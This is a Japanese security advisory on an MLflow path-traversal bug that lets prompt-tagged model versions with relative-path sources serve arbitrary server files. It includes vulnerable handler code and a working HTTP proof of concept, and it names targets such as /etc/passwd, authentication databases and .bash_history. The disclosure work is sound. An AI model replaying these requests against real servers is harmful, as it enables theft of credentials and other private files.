MLflowにおいて、認証されていないサーバーで、プロンプトモデルのバージョン情報ソースを介して、任意のファイルの読み込みが可能になる脆弱性が存在します。

### 概要
MLflowサーバーは、デフォルトで認証なしで動作します。この状態において、リモートの攻撃者は、プロンプトとしてタグ付けされ、ソースがスキームを持たないローカルパスであるモデルバージョンを作成することで、サーバーのファイルシステムから任意のファイルを読み取ることができます。

CVE-2026-2614に対する修正は、バージョン3.10.0で`CreateModelVersion`ハンドラに、プロンプト固有の分岐を追加し、`file://`URIや絶対パスを拒否するようにしました。しかし、このパス検証は、ソースがURLスキームを持つ場合にのみ実行されます。そのため、`../../etc`のようなスキームを持たない値、相対パス、`.`、パーセントエンコードされたパス、またはWindowsのドライブレターパスなどの値は、モデルバージョンのアーティファクトの場所として変更されずに保存されます。その後、`model-versions/get-artifact`エンドポイントが、サーバープロセスの権限でこれらのファイルを提供します。また、タグのチェックは、`mlflow.prompt.is_prompt`タグの存在を基準にしており、その値ではなく、そのため誤った値でも弱い分岐が選択されてしまう問題がありました。

`--app-name basic-auth`オプションを使用しているサーバーも影響を受けます。認証されたユーザーであれば誰でも登録モデルを作成できるため、権限の低いアカウントがこの機能を利用して、認証データベースを読み取り、管理者パスワードのハッシュ値を含む情報を取得する可能性があります。

影響を受けるバージョン: MLflow 3.10.0から3.16.1。バージョン3.17.0で修正されました。[mlflow/mlflow#25870](https://github.com/mlflow/mlflow/pull/25870)。この修正では、MLflowが提供するプレースホルダーソースのみをプロンプトバージョンのソースとして許可し、プロンプトタグが`true`であることを必須としました。

### 詳細
`mlflow.prompt.is_prompt`タグをtrueに設定してモデルバージョンを作成する場合、リクエストは`_create_model_version()`内のプロンプトの分岐によって処理されます。

`mlflow/server/handlers.py:2674-2690`:
```python
is_prompt = _is_prompt_request(request_message)
if is_prompt:
source = request_message.source
parsed = urllib.parse.urlparse(source)
if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
raise MlflowException(...)
if parsed.scheme:
_validate_non_local_source_contains_relative_paths(source)
else:
if request_message.model_id:
_validate_source_model(request_message.source, request_message.model_id)
else:
_validate_source_run(request_message.source, request_message.run_id)
```
プロンプトの処理パスでは、スキームを持たない相対パスに対して、`_validate_source_run()`、`_validate_source_model()`、または `_validate_non_local_source_contains_relative_paths()` が呼び出されません。

後続のアーティファクト読み込み処理では、保存されたソースが信頼されます。

`mlflow/server/handlers.py:2765-2782`:
```python
def get_model_version_artifact_handler():
name = request.args.get("name")
version = request.args.get("version")
path = request.args["path"]
path = validate_path_is_safe(path)
artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
...
else:
artifact_repo = get_artifact_repository(artifact_uri)
artifact_path = path

return _send_artifact(artifact_repo, artifact_path)
```
`_send_artifact()` は `artifact_repository.download_artifacts(path)` を呼び出し、結果として得られたローカルファイルを `send_file()` で提供します。

### PoC (概念実証)
前提条件: モデルレジストリのエンドポイントが有効になっている、アクセス可能な MLflow 追跡サーバー。

1. サーバー上にダミーファイルを作成します。
```bash
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
```

2. 以下のリクエストを MLflow サーバーに送信して、トラバーサル脆弱性を悪用します。

まず、登録済みモデルを作成します。
```http
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name": "pwned-model"}
```

次に、悪意のある相対パス `../../../tmp` を持つ、プロンプトタグ付きのモデルバージョンを作成します。
```http
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{
"name": "pwned-model",
"source": "../../../tmp",
"tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}
```

最後に、`path` パラメータにターゲットファイル名を指定して、アーティファクトダウンロードエンドポイントから任意のファイルを読み取ります。
```http
GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000
```
これにより、`/tmp/sentinel-mlflow.txt` の内容が返されます。同様の手法で、`/etc/passwd` やトラッキングデータベース (例: `mlflow.db`) などの機密ファイルも読み取ることができます。

### 影響
直接的な影響は、MLflow サーバープロセスとして、任意のローカルファイルを読み取ることです。確認された読み取り対象には、以下が含まれます。
- `/etc/passwd`
- プロセスから読み取り可能な SQLite トラッキングデータベース (例: `mlflow-auth.db` または `basic_auth.db`)
- ディスクに保存されている環境変数または設定ファイル
- `/home/user/.bash_history`

脅威モデル: MLflow トラッキングサーバーの HTTP ポートにアクセスできる攻撃者は、MLflow サーバープロセスから読み取り可能な任意のファイルを読み取ることができます。認証されていない MLflow 環境では、この脆弱性は、認証情報なしで直接悪用可能です。認証が有効な環境では、認証されたユーザー (モデルの作成を許可するデフォルトの RBAC 設定によっては、権限が低い、または「読み取り専用」のアカウントを含む) でも、この手法を使用できます。漏洩した認証情報は、オフラインでのパスワード攻撃や、より広範な管理者権限の侵害につながる可能性があります。

影響を受けるパッケージ:
- pip (Python) mlflow: 影響を受けるバージョンは 3.10.0 以降、3.17.0 未満。3.17.0 で修正済み。